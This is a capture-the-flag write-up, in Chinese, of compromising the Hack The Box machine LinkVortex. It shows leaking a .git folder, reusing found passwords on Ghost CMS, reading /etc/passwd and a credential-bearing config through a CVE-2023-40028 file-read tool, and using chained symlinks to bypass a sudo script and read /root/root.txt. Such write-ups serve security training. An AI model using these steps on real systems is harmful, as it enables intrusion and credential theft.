---
# System prepended metadata

title: Hack The Box - LinkVortex Writeup
tags: [Ghost, Sudo, Hack The Box]

---


# Hack The Box - LinkVortex Writeup
Writeup for the box LinkVortex in Hack The Box.

## Box Info

| OS    | Difficulty |
| ----- | ---------- |
| Linux | Easy       |

## Recon
### Nmap

Basic Scan：

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex]
└─$ sudo nmap 10.10.11.47 -oA nmap/initial
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 18:14 CST
Nmap scan report for 10.10.11.47
Host is up (0.39s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 3.05 seconds
```

Default Script & Version Scan：
```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex]
└─$ sudo nmap 10.10.11.47 -sC -sV -oA nmap/linkvortex
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 18:15 CST
Nmap scan report for 10.10.11.47
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.52 seconds
```

從掃描結果中可以看到網站的域名為 `linkvortex.htb`，而透過 `ffuf` 爆破後，找到了一個 VHost `dev.linkvortex.htb`。

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u "http://linkvortex.htb/" -H "Host: FUZZ.linkvortex.htb" -ac | tee hosts                                                            

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://linkvortex.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.linkvortex.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 215ms]
```

將兩個域名都加到 hosts 中。

### Web Service - linkvortex.htb

打開網站後會看到下面的畫面：

![image](https://hackmd.io/_uploads/r19T08Dcke.png)

從頁尾可以知道網站使用了 Ghost CMS，而透過 `Wappalyzer` 則可以知道 Ghost 版本為 5.58：

![image](https://hackmd.io/_uploads/ryQU1vwq1g.png)


![image](https://hackmd.io/_uploads/BkHPIDDqkg.png)

另外，點進網站上的文章可以知道網頁上有一個叫做 `admin` 的 user：
![截圖 2025-02-22 晚上10.29.53](https://hackmd.io/_uploads/SkXYywDcJl.png)

從[這篇文章](https://ghostseo.org/how-to-find-your-ghost-login-url/)中可以知道 Ghost 的登入頁面在 `/ghosts`：

![image](https://hackmd.io/_uploads/Syj9SvDqJg.png)

如果我們有帳密，就可以登入進去看看有沒有什麼能利用的訊息。

### Web Service - dev.linkvortex.htb

網站看起來還在開發中，頁面上沒有什麼其他特別的內容：

![image](https://hackmd.io/_uploads/S1857vPqJe.png)


目錄爆破後，可以看到存在 `.git` 資料夾，存在 Git 洩漏：

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt:FUZZ -u "http://dev.linkvortex.htb/FUZZ" | tee dev_directories
<SNIP>

.git                    [Status: 301, Size: 239, Words: 14, Lines: 8, Duration: 200ms]
```

用 `GitHack` 將 `.git` 中的資料抓下來：

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex]
└─$ python3 ~/Documents/tools/Git/GitHack/GitHack.py http://dev.linkvortex.htb/.git
<SNIP>

┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex]
└─$ tree dev.linkvortex.htb                           
dev.linkvortex.htb                                                      
├── Dockerfile.ghost
└── ghost
    └── core
        └── test
            └── regression
                └── api
                    └── admin
                        └── authentication.test.js

7 directories, 2 files
```

## Shell as bob

### Git Leak

透過 `GitHack`，我們拿到了 `Dockerfile.ghost` 還有 `authentication.test.js` 兩個檔案。其中 `authentication.test.js` 裡面紀錄了幾個密碼：

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex/dev.linkvortex.htb]
└─$ cat ghost/core/test/regression/api/admin/authentication.test.js | grep password
            const password = 'OctopiFociPilfer45';
                        password,
            await agent.loginAs(email, password);
                        password: 'thisissupersafe',
                        password: 'thisissupersafe',
            const password = 'thisissupersafe';
                        password,
            await cleanAgent.loginAs(email, password);
                        password: 'lel123456',
                        password: '12345678910',
                        password: '12345678910',
        it('reset password', async function () {
                password: ownerUser.get('password')
            await agent.put('authentication/password_reset')
                    password_reset: [{
        it('reset password: invalid token', async function () {
                .put('authentication/password_reset')
                    password_reset: [{
        it('reset password: expired token', async function () {
                password: ownerUser.get('password')
                .put('authentication/password_reset')
                    password_reset: [{
        it('reset password: unmatched token', async function () {
                password: 'invalid_password'
                .put('authentication/password_reset')
                    password_reset: [{
        it('reset password: generate reset token', async function () {
                .post('authentication/password_reset')
                    password_reset: [{
    describe('Reset all passwords', function () {
        it('reset all passwords returns 204', async function () {
            await agent.post('authentication/global_password_reset')
```

`Dockerfile.ghost` 則紀錄了 config file 的位置：

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex/dev.linkvortex.htb]
└─$ cat Dockerfile.ghost
FROM ghost:5.58.0

# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json

<SNIP>
```


### CVE-2023-40028

在網路上搜尋 Ghost 5.58 cve 之後，可以找到一個 [PoC](https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028)，如果我們有一組帳號，我們就可以透過這個漏洞讀取系統上的文件。

從前面搜集到的資訊中，我們知道有一個使用者 `admin`，並且我們也搜集到了幾個密碼，猜測了一下帳密後會發現可以用 `admin@linkvortex.htb:OctopiFociPilfer45` 登入後台。

![image](https://hackmd.io/_uploads/S1F7IPPcye.png)

所以接下來就可以用這組帳號讀取系統上的檔案：

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex]
└─$ ./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit): /etc/passwd
File content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
```

讀取 `Dockerfile.ghost` 中記錄的 config：

```bash
Enter the file path to read (or type 'exit' to quit): /var/lib/ghost/config.production.json
File content:
{
  <SNIP>
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}
```

可以看到 config 中紀錄了一組帳號，而透過這組帳號可以用 ssh 連上 server：

```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex]
└─$ ssh bob@10.10.11.47                           
<SNIP>

bob@linkvortex:~$
```

### user.txt

```bash
bob@linkvortex:~$ cat user.txt 
564ceb1f************************
```

## Shell as root

查看 `sudo` 權限：

```bash
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
```

查看 `/opt/ghost/clean_symlink.sh`：

```bash
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi
```

程式接收一個連結作為參數，而如果連結的 ext 是 `.png`，並且指向的檔案中不包含 `etc` 和 `root`，這個程式就會將符號連結移動到 `/var/quarantined` 中。另外，如果 `CHECK_CONTENT` 等於 true 的話，程式會嘗試將連結指向的檔案內容讀出來。

由於直接建立連結到 `/root/root.txt` 會被程式檢測出來，所以我們可以先建立一個連結指向 `root.txt`，再建立一個連結指向上一個連結來躲過檢測：

```bash
bob@linkvortex:~$ ln -s /root/root.txt flag.txt
bob@linkvortex:~$ ln -s /home/bob/flag.txt flag.png
```

### root.txt

```shell
bob@linkvortex:~$ export CHECK_CONTENT=true
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh flag.png
Link found [ flag.png ] , moving it to quarantine
Content:
0115ffd4************************
```